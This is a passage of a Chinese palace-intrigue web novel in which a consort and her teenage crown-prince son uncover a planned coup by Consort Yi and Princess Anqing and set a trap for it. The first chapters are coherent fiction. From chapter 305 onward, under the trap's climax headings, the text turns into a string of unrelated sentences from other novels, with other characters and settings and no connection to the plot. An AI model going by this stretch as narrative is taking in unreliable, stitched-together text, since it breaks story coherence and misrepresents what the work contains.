“我与陛下在一起这么多年了,又生下了昀儿这么好的孩子。就算没有其他的,那割不断的亲情总归是有的。” 夏韶宁巧妙地回避了萧祈安提出的问题,随后便有些担心地看了他一眼,“陛下真的已经决定好了要御驾亲征了吗?” 听得夏韶宁提起这件最近让萧祈安烦心的事情,他也只是轻轻地叹了一口气。 “傅将军与裴言两人都是报喜不报忧的性格,如今军心涣散到都已经传入了朕的耳朵里,想来越州军营定是不大好了。” “那南豫的新王是个手段了得的暴戾之徒,这仗若是长期打下去,拖得久了,对咱们大容只有坏处没有好处。” “朕这一次必须去,必须让军营里的将士们明白朕没有放弃他们,没有不管他们。要让他们重新燃起希望与斗志,好好的将与南豫的这场仗打赢。” 听得萧祈安这般条理清晰的分析,夏韶宁便也明白他这一次是非去不可了。 “可是昀儿才十五岁,又刚承了太子之位。这朝中之事如此纷繁复杂,如今又没了陛下在朝中坐镇,臣妾怕他……一下子应付不了。” 说实话,萧衡昀在这样一个局面下受封为太子,是夏韶宁没有算到的。 她一直计划的,都是等到昀儿十六岁以后,让萧祈安将他带在身边好好教导。等再过个两三年,昀儿的年纪长了,阅历也丰富了,再承这个太子之位不迟。 到那个时候,萧衡昀应该已经培养了一批自己的人脉,手中应该也有许多可以利用的资源。这个时候顺理成章地成为太子,他的压力也不会这么大。 可是谁能想到这个节骨眼上南豫来犯,便是彻底将夏韶宁的计划给打乱了。 “他是朕与你的儿子,你要相信他有这个能力能将这些事情处理好。” 听得夏韶宁的担忧,萧祈安却只是朝着她坚定的点了点头。 “朕为昀儿挑选了郑之荣与江皓谦为他的太傅和少傅,又有你父亲从旁协助他,再加上他还有你这么个明事理有大局观的好母妃,他能做好的。” “朕把国玺都给了昀儿,若是朕不在宫里的这段日子你们母子俩遇到了实在解决不了的事情,想要做什么直接拟了旨盖上国玺便是。” 萧祈安这话说得洒脱又轻松,可是夏韶宁听完却被他吓了一大跳。 “陛下就当真如此相信臣妾吗?您难道就不怕臣妾……牝鸡司晨?” “太子年轻,朕又不得不御驾亲征,宁儿是个通透有大智慧的人,就算你真的牝鸡司晨又如何?”听得夏韶宁这番话,萧祈安压根不以为意,“朕从来不觉得女人就比男人差,更别说这个女人是你了。只要初衷都是为大容好,女人当家,又如何?” “陛下……”夏韶宁抬眼看了看萧祈安那张云淡风轻的脸,一时之间弄不明白以上那些话到底是他的真心话,还是……萧祈安暗地里对她的试探。 “陛下知道,臣妾不是这样的人。”顿了好一会儿,夏韶宁才缓缓出声了,“您放心,这天下始终姓萧。臣妾毕生愿望便是大容的百姓能够安居乐业,我的孩子能平安健康,做一切他喜欢他愿意做的事情。” 说到这里,夏韶宁的语气忽然就变得严肃起来。 她从萧祈安的怀里挣脱出来,鞋子都来不及穿便朝着他端端正正地跪了下去。 “臣妾定会好好看顾着太子,也替陛下好好管理着这后宫。臣妾只盼望陛下能够平安,早日战胜南豫,早点凯旋!” 萧祈安看着夏韶宁朝着自己跪下,盯着她的头顶看了许久,最终还是伸出手来将她从地上扶了起来。 “朕没有别的意思,宁儿不要多心。” 萧祈安眯了眯眼睛,不知道在想些什么,过了好一会儿,他却忽然转过身来就将夏韶宁压在了身下。 “说了那么多,宁儿都没有一点儿舍不得朕吗?这临要走了,朕才觉得真的很舍不得你……” …… 两人说了半晌话又闹了好大一会儿,转眼就到了后半夜了。 夏韶宁偏过头来看着如今已经熟睡了的萧祈安,不知为何,她居然觉得毫无睡意。 她盯着他的侧脸看了好大一会儿,最终还是蹑手蹑脚地从床上爬了起来,顺手拿了一件外裳披上去了外殿。 今日正好是惜春值夜,看见夏韶宁从内殿走出来,她倒是吓了一大跳。 “娘娘怎么这个点起来了?”惜春看了看黑沉沉的外头,有些不解,“是哪里不舒服吗?还是肚子饿了?要奴婢去小厨房看看还有没有什么东西可以垫吧一下吗?” “不忙,我就是有些睡不着。”夏韶宁伸出手来拉住了想要往小厨房去的惜春,想了想问道,“你跟着我这么多年了,从潜邸到宫里,你觉得……陛下他对我如何?” “娘娘同圣上吵架了吗?”惜春看着夏韶宁那有些苍白的脸,仔细想了想,这才小心翼翼道,“圣上对娘娘当然是好的,娘娘别多心。” “是啊,你们都让我别多心,或许真的是我多心了吧。” 想到刚才萧祈安对她说的那些话,以及他刚刚说那话的表情,夏韶宁越发觉得以后不仅是自己,更要提醒昀儿处处都要小心谨慎才是。 毕竟帝王心,实在是比海还要深不可测。 第301章 离开与成长 三日后,皇宫门口。 萧祈安今日穿了一身铠甲坐在一匹枣红色的汗血宝马上,面上的神情是前所未有的坚毅。 萧衡昀领着一众大臣站在最前头,夏韶宁则是领着后宫的宫妃们站在靠后一点的位置。 前朝后宫所有能数得上名号的人,今日都来宫门口送萧祈安出征了。 “就送到这里吧。”萧祈安坐在马上,对着面前乌泱泱的众人摆了摆手,“该交代的事情之前已经交代得很清楚了,朕希望你们各司其职,在朕不在宫里的这段时间前朝后宫都能安稳。” 萧祈安说这话的时候,眼神一直在萧衡昀与夏韶宁身上打转。他想说什么,最后到底还是将眼神收了回去。 “朕此次去往越州军营御驾亲征,势必要将南豫那群蛮子赶出大容国土!此仗不胜,朕势必不还!” 萧祈安这番话说得气势十足,直听得底下的将士们个个都感觉热血沸腾。 只见他们纷纷举起了手中的刀剑,大喊道—— “大容威武!陛下威武!大容威武!陛下威武!” …… 萧祈安就这样离开去了越州军营,而这后宫也因为圣上不在而彻底沉寂了下来。 说白了,宫妃们在这后宫里的本职工作就是争宠。如今正主都不在了,去哪儿争宠,又有什么好争的呢? 所以一个个也就歇了那些乱七八糟的心思,该干嘛干嘛去了。 所以这段时间的夏韶宁,罕见地不用处理后宫那些杂七杂八的事情,于是便有了更多的时间与精力去关注萧衡昀这个新太子。 其实一开始夏韶宁觉得萧衡昀刚刚成为太子就要立马投入到监国这件事情上来,他一定会有一个适应期。或许在这个适应期内他会很忙乱,也可能会出错。夏韶宁甚至都已经想好了要如何帮着他处理这些问题,才不会让他丧失初初当上太子的信心。 只是出乎夏韶宁意料之外的是,萧衡昀几乎都没有给他自己留什么适应的时间,直接就进入了监国的状态。 太子监国,每三日需上朝一次,在皇帝的龙椅旁边设置了一座“矮椅”供太子上朝时坐。官员们如往常圣上在的时候一样向太子汇报各部门发生的事情,让太子知晓并处理。 因为萧衡昀还未满十六岁,所以他暂时还没有入住东宫,而是继续住在重华宫中。不过太子东宫所需的官员萧祈安临走之前已经帮他布置好了,所以如今与在东宫也没什么两样。 大臣们的奏折会由张全和每日送至重华宫由太子批阅,遇到拿不准主意的,太子也会谦虚地请教太傅、少傅以及丞相等老臣。 如此这般过了一个月,朝中大事居然没有出现任何纰漏,桩桩件件事情都被萧衡昀处理得紧紧有条,倒是让一些当初想着太子年少免不了会闹笑话的大臣们也有些意外起来。 当然,这一个月来萧衡昀有多累多辛苦,只有夏韶宁这个做母妃的清楚。 晚,承乾宫。 “母妃,我吃饱了,我得回重华宫批折子去了。” 胡乱吃了几口饭,萧衡昀便站起身来准备回重华宫去,不想还没等他动一下脚步,一把就被夏韶宁按回了椅子上。 “你看看这一个月来你都瘦成什么样了,这衣裳穿在你身上都打晃。” 夏韶宁有些不满又有些心疼地看了萧衡昀一眼,对着他道,“母妃知道你很忙,但是再忙也不能不吃饭啊!” “前线战事焦灼,青州又开始闹旱灾,一件件事情都堆在一起了。我若是不赶快把那堆如山的折子批出来,该耽误底下的人做事了。” 不过短短一个月,夏韶宁忽然就觉得眼前的萧衡昀成熟了很多。 从前还没当上太子的时候,萧衡昀读书练武也很勤奋。可是那种感觉和如今他这般感觉是完全不同的。 以前的他更像是个青涩懵懂只会纸上谈兵的书生,而如今的他,更像是个懂得实操的掌权者。 夏韶宁很欣慰。 “这一个月来你每次来母妃这里用膳都是匆匆忙忙的,母妃都没来得及问你,朝中那些事情你还应付得来吗?” 夏韶宁又盛了一碗汤递给萧衡昀,用眼神示意他慢慢说。 “唔,一开始的时候是有些应付不来,毕竟如今要面对的事情和我从前只在书本上学的完全不同。” “但是一旦真的让自己沉到了那个场景里,再结合从前太傅和少傅教我的东西,又联想到如果是父皇面对这样的事情他会如何做。把这些都串联在一块儿,那些问题好像也就变得没有那么棘手了。” 萧衡昀说这话的时候,面上的神情显得很从容。若是此时有不知道内情的外人看到他,定不会相信眼前这个成熟稳重,处理事情游刃有余的男孩,只有十五岁。 “母妃相信你能把这些事情都处理好,只是你得答应母妃,若是遇到了什么真的困难的事情,你不能瞒着母妃,一定要如实同母妃说,知道吗?” 孩子是自己生的,哪怕萧衡昀如今表现得多么的优秀,夏韶宁也担心他会逞强。 毕竟这个年纪的男孩子,身上都有一股冲劲,会觉得自己天不怕地不怕遇到什么问题都能解决。夏韶宁就害怕萧衡昀遇到事情太过冒进又不与她商量,会让他吃大亏。 “母妃放心吧,我都明白的。”虽然如今已经是太子了,但是萧衡昀与夏韶宁的感情依旧同他小时候一样好。 “我每处理一件事情郑太傅与江少傅都要仔细过目的,他们都历经两朝了,又万事都站在我这边,我信得过他们。” 萧衡昀端起手边的汤喝了一口,又出声了。 “不过儿臣同您说实话,燕丞相这个人有时候处理问题的确有些独断专行,而且处事总是太过保守,畏首畏尾的,儿臣有些不太赞同他的想法。” 听得萧衡昀的这番话,夏韶宁的眉头便不由自主地皱了起来。 不过只要想到萧祈安给昀儿准备的五个人有三个都是站在她和昀儿一边的,她心中的不安又变淡了一些。 “燕丞相毕竟是两朝的丞相了,就如你父皇说的,他提的意见你要听,但是不用全听。” “你长大了,你有自己的想法是好事。不管怎么样,母妃都会好好支持你的,你只需要放手去做……就好。” 第302章 异常 时间就这样一天一天的过去,萧衡昀也在这渐渐的时间流逝中越发变得成熟起来。 如今的他无论是处理政务,还是应对那些老臣们时不时提出的或刁钻或不怀好意的问题,都能够游刃有余地处理得很好。 他已经不是那个做什么都要夏韶宁走在最前头帮他铺路的小孩子了。 说实话,面对这种变化,一开始的夏韶宁还是有些不习惯的。毕竟这十多年来,无论是在生活上还是孩子的人格教育上,夏韶宁都在这个孩子身上付出了不少的心血与精力。 这猛的一下子孩子已经完全不需要她了,她心里还是有些说不出的滋味。 只不过夏韶宁本就是个十分豁达的人,又已经到了这个年纪了,她自己一个人略略失落了几天,也就恢复正常了。 毕竟孩子总是要长大的,以后的路她也不可能能一直帮着他扶着他走下去。早日成为一个独立的大人,是好事。 想开了以后的夏韶宁又开始该吃吃该喝喝,啥事不往心里搁了。 而在这一个来月以来,萧祈安也给夏韶宁写了好几封信。 萧祈安在信上告诉夏韶宁,自从他去了军营以后,越州军营将士们的士气那是提高了不止一个度。 特别是他还是带着将士们最需要的辎重部队一块儿去的,这番举动就仿佛干旱时的一场及时雨让将士们心中得到了久违的滋润。 再加上傅将军与裴言都是特别有能力又有经验的老将,很快就将士兵们涣散的军心重新聚集在了一块儿。 所以这几件事情加在一块儿,更是让大容打了好几场漂亮的胜仗。 他在信里告诉夏韶宁,若是顺利,或许今年还能赶回宫里陪伴她与萧衡昀过年。 这么多好事加在一起,可是让夏韶宁一直以来都紧绷的神经放松了许多。 只不过那句话是怎么说的来着,每当你觉得现在的生活还不错的时候,现实总是会给你一记重锤。 这不,安稳了几个月的后宫,又出事儿了。 *** 这日午后,夏韶宁正坐在院子里的摇椅上抱着幸运晒太阳,却瞧见含秋面色不虞地朝着她走了过来。 “怎么了?”夏韶宁抬起头来看着一脸欲言又止的含秋,有些疑惑地问道,“莫不是哪里又出事了?” “娘娘别着急,出事儿倒是算不上,只是有件奇怪的事情奴婢想同娘娘说一说。” 含秋摆了摆手让院子里伺候的宫人们退了下去,随即靠近夏韶宁压低声音对着她道,“安庆公主的驸马今年不是政绩合格外放结束回到金州了吗?安庆公主也就随着驸马回到金州住进了她的公主府。” “本来这是没什么好奇怪的,怪就怪在自从圣上御驾亲征去了越州以后,安庆公主倒是频繁地开始进宫了。” “这是她的家,她是在这皇宫里长大的,她出嫁时圣上都允了她可以随时回宫,这有何奇怪之处?”听得含秋的话,夏韶宁面上不禁露出了一丝疑惑的神情。 “本来公主回宫是没有什么奇怪的,但是这件事情怪就怪在,她每次回宫都会去一趟仪淑妃的咸福宫。” 话说到这里,含秋便不再出声了。只是她面前的夏韶宁,面上的疑惑却是更加明显了。 “她的生母早就去世了,抚养她长大的太后也去了好几年了,她的亲生弟弟如今更是被圣上送去了宝光寺带发修行。按道理来说,这宫里应该已经没什么她留恋的人了才对。” 夏韶宁一边说,一边伸出手来一下一下摸着幸运的后背。 “若是我没记错,她出嫁前同仪淑妃的关系也算不得有多好,那么她又是为什么每次回宫都要去一趟仪淑妃那里呢?” 此时的夏韶宁,脑海中的思绪如同那细细密密的雨丝一般从高处一滴一滴地落下,每一丝雨滴都仿佛在帮着她思考安庆公主这般异常的举动到底是为了哪般。 “罢了,通知咸福宫的人,这段时间给我好好盯着仪淑妃,若是安庆公主还会去她宫里,那就连着她一起盯着。若是有任何异常,及时来报。” 思索了好大一会儿,夏韶宁还是想不出这两个人之间会有什么联系,但是这并不妨碍她继续让自己的眼线盯着这两个人。 “哦对了,通知蕙心,这段时间让她派些我们的人去宝光寺三皇子那里好好盯着。” 夏韶宁的想法其实很简单,安庆公主随着驸马外放了五年,如今好容易回到金州,她肯定是会去见见她这个唯一的弟弟的。 不管她有什么想法,防患于未然,早早地让人盯着他们两姐弟,总不会错。 “奴婢明白。”听得自家娘娘的吩咐,含秋也不敢耽搁,立刻动身开始忙夏韶宁刚刚吩咐的事情去了。 …… 夏韶宁本来以为这安庆公主与仪淑妃的心计有多深,还想着自己怕是要花些时间和精力才能弄懂这两个人到底是要做什么。 只是这会儿看着桌子上放着的那张自己安插在咸福宫的眼线送来的一张布防图,她才觉得她还是把这两人想得太过聪明了。 “这东西哪里来的?”夏韶宁坐在上首,语气严肃地问着下首那个叫做夏荷的小宫女。 说起来夏韶宁当初也是看着这小宫女在浣衣局太可怜,大冬天用冷水洗衣裳洗的十根手指上长满了冻疮。偶然一次遇见了,她便随意同浣衣局的嬷嬷说了一声让嬷嬷给这小宫女换一个轻松一点儿的活儿做。 没想到没过几天仪淑妃宫里的一个三等宫女就因为风寒去世了,嬷嬷随手就将这夏荷指去伺候仪淑妃了。 连夏韶宁自己都没有想到,不过好多年自己一次无心的善举,倒是成了如今自己扳倒仪淑妃与安庆公主的最有力的一环。 “回贵妃娘娘的话,这张图是奴婢在仪淑妃的书房里看见的。”夏荷低着头,小心翼翼地回答着夏韶宁的问话。 “那一日打扫书房的宫女突然病了,刚好奴婢那会儿在书房外扫地,仪淑妃身边的意清姐姐就让奴婢去打扫书房。” “奴婢看不懂这是什么,只是瞧着仪淑妃将这图严严实实压在一堆书的下面,想来应当是很重要的东西。刚好前几日含秋姐姐让奴婢好好盯着仪淑妃,于是奴婢就留了个心眼将这图依葫芦画瓢画了一份,赶紧偷偷给娘娘送来了!” 第303章 将计就计 “你的反应倒是很快。” 夏韶宁握着那张所谓的布防图,上头明明白白的标注着从宫门到萧衡昀在重华宫住的院子里有多少侍卫,包括侍卫什么时辰换岗什么时辰巡查都写得十分清楚。 “你先回咸福宫去吧,这几天继续盯着仪淑妃,她若是还有什么其他的异常举动,及时来报给本宫。” 夏韶宁将那张布防图收进了怀里,转过头来对着夏荷摆了摆手又道,“你不必怕,等本宫将这件事情处理完毕以后,你就到本宫身边来当差吧。你帮本宫做事,本宫自然会保你。” “娘娘救过奴婢,奴婢为娘娘做什么都是应该的。”听得夏韶宁的话,夏荷忙又朝着她跪了下去。 “当初若不是娘娘那句话,奴婢怕是早就死在浣衣局了。” 说完这番话,夏荷又给夏韶宁磕了三个响头,便急忙起身回到咸福宫去了。她今日是趁着休息偷偷跑出来的,若是离开太久了被咸福宫的人发现了,那可就要坏了贵妃娘娘的大事了。 眼见着夏荷离开,夏韶宁独自一个人在窗边坐了很久。 若是她没有猜错,这仪淑妃与安庆公主怕是在私底下琢磨着趁着萧祈安御驾亲征不在宫里,动用武力来逼迫自己与昀儿将国玺交出来。 到时候国玺在手,她们两人完全可以扶持如今在宝光寺带发修行的三皇子上位。再趁着萧祈安不在宫里不知真相随便给她们母子俩安一个病逝的名头。 等到萧祈安打完仗回宫,她们母子俩早就神不知鬼不觉地被人给害死了。到时候三皇子上位成了太子,再认仪淑妃为养母,她就是未来的皇太后。而安庆公主以后也就能成为那个权倾朝野的唯一长公主了。 这一切不就都顺理成章了吗? 说起来,其实很多时候发动宫变是不需要什么很高深的手段或者理由的。试问能用武力逼迫对手就范,谁愿意动脑筋去筹谋呢? “李顺,你去一趟重华宫,把太子叫到我这里来,就说我有重要的事情要同他说。” 想明白了这里头的关键问题,夏韶宁便立刻出声让李顺去重华宫将萧衡昀叫到自己这里来。 知道了这么大的一件事,当然要与昀儿通个气,也好看一看他这个太子对于这件事是个什么样的想法。 且说那头的萧衡昀瞧着李顺着急忙慌地跑到重华宫说母妃有事找他,便急忙放下手中还未批完的折子往承乾宫去了。 他前脚刚一跨入承乾宫内殿,夏韶宁便挥手让包括李顺等在内的宫人都退下去了。 这件事情事关重大,她不想被任何人听到。 “母妃脸色怎么这样差?是不是哪里不舒服?”萧衡昀坐在夏韶宁面前,便瞧见她的脸色有些苍白,忽然心中就有一种不祥的预感。 “你看看这个。”夏韶宁没有回答萧衡昀的话,只是把刚刚夏荷送来的那份布防图放在了他的面前。 萧衡昀一开始还有些疑惑不知道母妃给自己的东西是什么。可是当他看到那张图上甚至连自己院子门口的侍卫什么时候换岗都写得清清楚楚,他的脸色瞬间就变了。 “有人要逼宫?”萧衡昀板着脸放下手中的布防图,因为心中的怒气脸上瞬间变得通红。 “是仪淑妃与安庆公主,这张图是我放在咸福宫的眼线刚刚送来的。” 夏韶宁压低了一些声音,靠近萧衡昀道,“她们两个怕是想扶持三皇子上位。” “呵,扶持三哥上位?那也要看她们有没有这个本事!” 听得夏韶宁的话,萧衡昀冷笑了一声又道,“她们的计划如今都被我们知道了,不彻底扳倒他们,岂不是显得孤这个太子太过没用了?” 萧衡昀受封太子已经两个月了,他基本上从来不在夏韶宁的面前称呼自己为“孤”。今日他这般举动,夏韶宁便明白,他是真的生气了。 “母妃你说,仪淑妃同安庆公主密谋逼宫这件事情,燕丞相……他知道吗?” 联想到最近好几次议事的时候燕川总是提出一些与自己相左的意见,萧衡昀倒是不确定这位历经两朝的丞相是不是早就有了不臣之心。 “你以为仪淑妃和安庆公主哪里来那么大的本事,能够调得了那么多身手了得的死士来逼宫?” 听得萧衡昀提出的疑问,夏韶宁了然地眯了眯眼睛。 “虽说大容明令禁止官员私底下豢养死士,可是这些高门大户家里谁家没有一队只效忠于主家的死士呢?” “别管她们的手段是不是正规,也别管过程怎么样,若是我们毫无防备让那群死士入了宫,咱们母子俩就是死路一条!” 想到很多年自己去江州救萧祈安的时候差一点死在废瑞王派去杀自己的那群死士手里,夏韶宁仍旧心有余悸。 这群死士可不管你是谁,有多高的身份。主家让他们去杀谁,他们就一定会取了那人的性命。 “既然这样,那咱们不如将计就计如何?” 听着夏韶宁同自己解释了那么多,萧衡昀在心中想了许久,这才缓缓出声了。 “怎么个将计就计法?”看着萧衡昀主动开口,夏韶宁倒是对他的想法有些好奇起来。 “既然他们那么想知道这一路要如何顺利的劫持我,那不如干脆我直接给她们行个方便,让他们安安静静顺顺利利地就能摸到我身边来。” “父皇走的时候给我留了一队精兵,调令的牌子四叔与七叔一人一半。到时候我提前联系四叔与七叔,让那队精兵就在重华宫附近埋伏着。” “母妃便可以趁着这个时候将朝中那些手中握着实权的大臣们,比如尚书令,以及六部的尚书们统统召集到重华宫里。等到我想办法让那群人露出本来面目的时候,咱们再来一场人证物证俱在的——瓮中捉鳖!” “到时候那么多双眼睛看着,这逼宫的罪名她们是怎么都洗不掉了!” 萧衡昀说这话的时候,整个人看起来一点儿害怕的感觉都没有。夏韶宁甚至从他的眼神里看到了一丝隐隐的期待。 “我真没想到你如今已经有如此缜密的思维和利落的手段了。” 顿了好一会儿,夏韶宁这才对萧衡昀露出了一丝赞赏的笑容。 “那么一切就按照你说的做。这一次,咱们母子俩定是要将这几个不安分的人给彻底扳倒,不然以后只会……后患无穷!” 第304章 瓮中捉鳖(上) 又过了半个月,夏荷果然又传来消息,说安庆公主这段时间出入仪淑妃的咸福宫格外频繁。 而蕙心也适时的传回了消息,说安庆公主果真去了好几次宝光寺,每一次都待了好几个时辰才会离开。 夏韶宁将这些消息尽数都告诉了萧衡昀,让他有时间能够做好“瓮中捉鳖”的准备。 果然,不过五天后,李顺悄悄告诉夏韶宁,安庆公主今日去了仪淑妃那里直到宫门都快下匙了还没有离开。夏韶宁便明白,她们选的时间,大概就是今日了。 “去通知太子,让他同恒王与定王通好气,另外……”她顿了顿,随即道,“通知我父亲,还有我的两位哥哥,及时在宫外待命。等得到我的消息后,便即刻通知丞相、尚书令以及六部的尚书等一块儿进宫来!” 夏韶宁的眸子暗了暗,转头对着李顺语气严肃地吩咐道,“告诉我家里人,不许走漏一点儿风声。另外,让恒王与定王一定要护好太子的安全,知道了吗?” 虽然之前萧衡昀同她保证过自己一定不会有任何危险,只是这个世间哪里有母亲会不担心自己孩子的,所以夏韶宁还是对着李顺提了一嘴。 “娘娘放心,奴才这就去办。”这会儿的李顺,面上的神情也是格外严肃。 早几日前,夏韶宁已经将这件事情同他与惜春含秋说过了,所以她们三人这几日日日都处在一种一级戒备的状态里。 如今事情真的已经到眼前了,她们便很快开始各司其职起来。 “看吧,好戏,就要开始了!” 重华宫。 萧衡昀得了夏韶宁的消息以后,立刻让自己的贴身内侍王恩带着自己的私印去了恒王与定王的府上。 又让另外一个信得过的内侍悄悄沿着宫门到重华宫这一路过去,挨个通知减少侍卫的巡逻。 他做这些事情的时候内心一点害怕的感觉都没有,相反的,隐隐有一种十分兴奋和激动的感觉。 这毕竟是由他主导的第一件大事,又是宫变这种一般人可能根本遇不到的事情,他怎么能不激动呢? …… 而另外一边的仪淑妃与安庆公主,丝毫不知道两人已经成为了夏韶宁母子瓮中的那只“鳖”。此时的两人,正焦急地计划着让燕川早就准备好的死士偷偷入了皇宫里来。 “这些人可不可靠?”安庆公主同仪淑妃这会儿正躲在通往重华宫的一处必经的道路上。安庆公主正一边说,一边不住地朝着宫门外张望着。 “公主放心吧,本宫的父亲早就已经将所有的事情都安排好了。到时候会他们会混在运送蔬菜的宫人里头进宫来,一旦入了宫,第一时间就是杀到重华宫去将那萧衡昀劫持了!” 说到这里,仪淑妃的脸上便已经露出了一丝得逞的冷笑。 “到时候昭贵妃的儿子在咱们的手上,还怕她不将玉玺交到咱们手上吗?只要咱们拿到了玉玺,再逼迫那萧衡昀写一道放弃太子之位的诏书,本宫的父亲就能直接趁着圣上不在拥立三皇子为新的太子!” “那后头若是父皇回宫,瞧见宫里这般变了天,追究责任怎么办?”安庆公主总觉得心里头有些不安稳,“父皇多看重那两母子你又不是不知道,到时候看到她们两个不明不白地死了,不会迁怒我与驰儿吧?” “公主!成大事者不拘小节,如今圣上又没在宫里,本宫的父亲是大容唯一的丞相,到时候圣上回了宫,那还不是我们说什么他就信什么?” 看着安庆公主还是有些犹豫的样子,仪淑妃忙又开始用她的三寸不烂之舌劝说起安庆公主来。 “到时候就说昭贵妃与太子想趁着圣上不在自立为帝,燕丞相发现了以后联合众大臣当场将这谋逆的两母子就地正法,后拥立孝端皇后嫡子为新太子。这般说辞合理合法,谁能挑得出什么错处来?” “反正到时候那两母子都死了,圣上又能如何?他再难过还不是得立太子,试问谁有三皇子适合坐上太子的位置呢?” 很显然,仪淑妃的这番话直直地说到了安庆公主的心里,因为在她的心里一直也是这么想的。 她一直觉得父皇让她嫁给陈平威又随着他去外放,这一切都是昭贵妃的阴谋。 那昭贵妃就是想着把她弄得远远的,才好扶着她自己的儿子登上那太子之位。 不然为何她不过走了几年,她唯一的弟弟居然被父皇送到寺里去带发修行了,倒是萧衡昀一个庶子莫名其妙地成了太子。 既然是她们两母子先不仁的,那就别怪她们姐弟俩不义了。 “皇姐,咱们真的要杀了昭贵妃与六弟吗?”听得安庆公主与仪淑妃的话,一直蹲在一旁默不作声的三皇子终于缓缓出声了。 “驰儿!咱们一开始不是说得好好的吗?你如今问这个做什么?”安庆公主有些不满的瞥了三皇子一眼,说话的语气里就渐渐带上了一丝威胁的味道。 “皇姐劝你不要有其他的想法,我做这么多事情都是为了你!这太子之位本来就是属于你的,若你要是不想坐……”她顿了顿,随即冷声道,“皇姐不介意自己坐!” 安庆公主这番话说得霸道,倒是将站在她身边的仪淑妃吓了一大跳。 她不禁在心里暗暗嘲笑这两姐弟愚蠢,自己坐?女帝是那么好当的吗? 如今这两姐弟已经犹如傀儡一般到了她与父亲的手上,今日这个太子的位置,三皇子不想坐也得坐!若是他不坐,自己当上太后以后要如何在后头垂帘听政呢? 三个人各怀心思地在甬道旁等了许久,也不知道过了多长的时间,耳边忽然传来了木车轮滚动的声音。 这声音一出,安庆公主与仪淑妃的脸上瞬间就兴奋了起来。 “公主你听到了吗?是木车的声音,父亲已经顺利将那群死士送进宫了!” 仪淑妃有些激动地搓了搓手,随即压低声音对着安庆公主与三皇子道,“咱们现在就去重华宫!晚了可就来不及了!” 第305章 瓮中捉鳖(中) 重华宫。 到底还是要拖一个尾巴,所谓“以俟后命”就是说随时会调动张守仁再出兵。 方才容浅菡在君璃面前的异样容浅莲也注意到了,情知容浅菡不是真的不舒服,但她本就不打算趟这滩浑水,只关切的问了容浅菡几句,便领着自己的丫鬟自去了。 说完便要往一旁的博古架上撞去,当然,满屋子都是丫头婆子,她自然也是不可能真撞上去的。 老太太看着周宴卿在一旁皱眉,生怕这个精明的儿子察觉出什么。 明季士大夫和勋戚、亲藩之愚蠢,自私,卑劣,实在是到了叫人难以理解的程度。 直让君琳看得又惊又怕,想着自己这辈子都毁了,急火攻心之下,终于支撑不住,眼前一黑,软软晕了过去。 “前几天不是说你一直拉肚子吗,是不是在金叔家吃了什么了?”她问。 唐宁要救李湛,一方面是因为威远王正和北齐皇子联合对付她。但若是李湛死了,北齐的人也不会再插手西凉皇的事,她的对手依然只是威远王。 忽然,天池那边就传来了很大的轰鸣声,诸负说有情况,赶紧就朝着山头跑去,当我们翻过山头后,就看见下面的池水中心,已经被大风卷起了一个十几米高的水柱,水柱的最前端,像是一个蛇头,张着大嘴朝我们这边观望。 作恶程度也许没那么大,但是对于某些人来说,他或许要比什么复生会更加可恶。 要是陈浅发挥太出色,那他们现在好不容易借着他这三首新歌领先的市场份额肯定又会被抢走。 “双足飞龙居然也是龙族亚种?”来伦脑海里回想起那种聚集在南方恶地,生性嗜杀且狂暴的巨兽,称它们为会飞的大蜥蜴更贴切些。 整条微博给人一种他们好像很忙的感觉。至于他们到底是在忙些什么,那就不得而知了。 在这个尴尬名场面出来的时候,几乎所有看节目的人都微微的倒吸了一口凉气。 能否比得过莉丽莫斯学院,其实大家都不太在意,就像导师说的,体验野外生活才是最重要的事情。 他最烦的就是某些人喜欢道德绑架,好像你不帮忙就犯了多大罪过似的,偏偏美漫里的超级英雄们就吃这套。最后超级英雄们死伤惨重,这些始作俑者到是毛事没有。 从修炼法制定品级的那一刻,全联邦一夜之间忽然冒出许多的“专家”。 还比如说签下合同后他就是巨星传媒的一员,陈浅就是他的老板,他在未来一年里都得为他工作,一年以后他可以恢复自由身。 只不过为了躲避陆家人,不被欺负,她必须要找到高枝,或者她自己就是高枝。 黎晓岚听完它的话,感觉到触目惊心,怎么会有这样的人?怎么什么都知道?她被这个班主任威胁了。狠狠地拽着衣角心里非常的不服气,这凭什么? 在猛灌下一口茶水后,吕一品口水分泌更多了!手中的筷子跃跃欲试,眼神一直向着王母方向瞥着。 第306章 瓮中捉鳖(下) “笑话,你们父女俩联合安庆公主与净思大师对孤逼宫,如今倒是有脸让孤放过这个反贼?” 单亮木然的站在原地,他看着田甜气冲冲离去的冷冰冰的背影,忽然慌乱无措。 第二日,姬云野礼节性地将他们送出了宫门。马车行出去了很远,花缅仍然掀着车帘紧紧盯着那抹身影,连眼睛都不舍得眨一下。 “虎子叔?”胖子突然踩到一个软软的东西,被吓了一大跳,马上又镇定下来拍了拍自己的脸。 本来,约翰是不愿意吩咐自己的父亲的。但是约克在亲自教训他几次后,他便乖乖的履行着自己身为副团长大长老的职责,也明确的定位了父亲管家的身份。 颜越取出十五两银子递与赶车老汉:“这几天确是让老人家受苦了,银两请老丈收下。”赶车老汉也不客气,收好银两,调转车头往回而去。 “果然厉害!,没想到钱魍已经到了这种地步。”石全心中暗道。 一旦他唐风对各方势力没用的话,唐风相信他们会毫不犹疑的抛弃自己而去跟爱德华结交!或许龙帝国和精灵族会做的委婉一点,但是结局都会是一样的。 等到把浑身湿透的端佳郡主拉上来,没等晋王将早准备好的斗篷披在端佳郡主身上,端佳郡主就一伸手紧紧抱住了呆愣愣还显得有些错愕的楚琏。 他竟连一声招呼都不打便走了,还真是狠心呢!有些誓言只是一刹那的流火,美丽却易逝。是谁说过,深宫之中,什么都不缺,唯独缺了个“爱”字。帝王的爱是最不能指望的,果然不虚。 当然,他还可以隐姓埋名,庸碌一生,但对于这等人物来说,那样或许比死更难受。 “大嫂,我将这次产品发售的问题全部告诉你,你看看有什么办法吧。”黑ms看向苏清歌那对灵眸。 “火。”萧魂夜的话再次响在她的耳朵,火!萧魂夜曾今说过火。 当火车使出去几米远之后,安若就忽然地觉得一种阴阴的感觉了。哎呀,为什么?这是开始觉得后悔了的样子了。下意识地更加用力地抓紧了路凌的手,安若的双眼不断地向着四周看去了。 罗明在叶梓凡身边十年,是他的得力干将。两人之间的关系自然非比寻常,有些亲密的举动也在情理之中,看来是自己想太多了。 认不出来了吗?可是染尘怎么能不认得她呢?他们说好要一直在一起的,这样的怎么可以把她忘记呢? 她和洛清寒是开路的关键,将枪给了艾汐只会使自己更加麻烦不是吗? 此时周围都围了一些人上来,有看热闹的,有指指点点的,也有面无表情的。 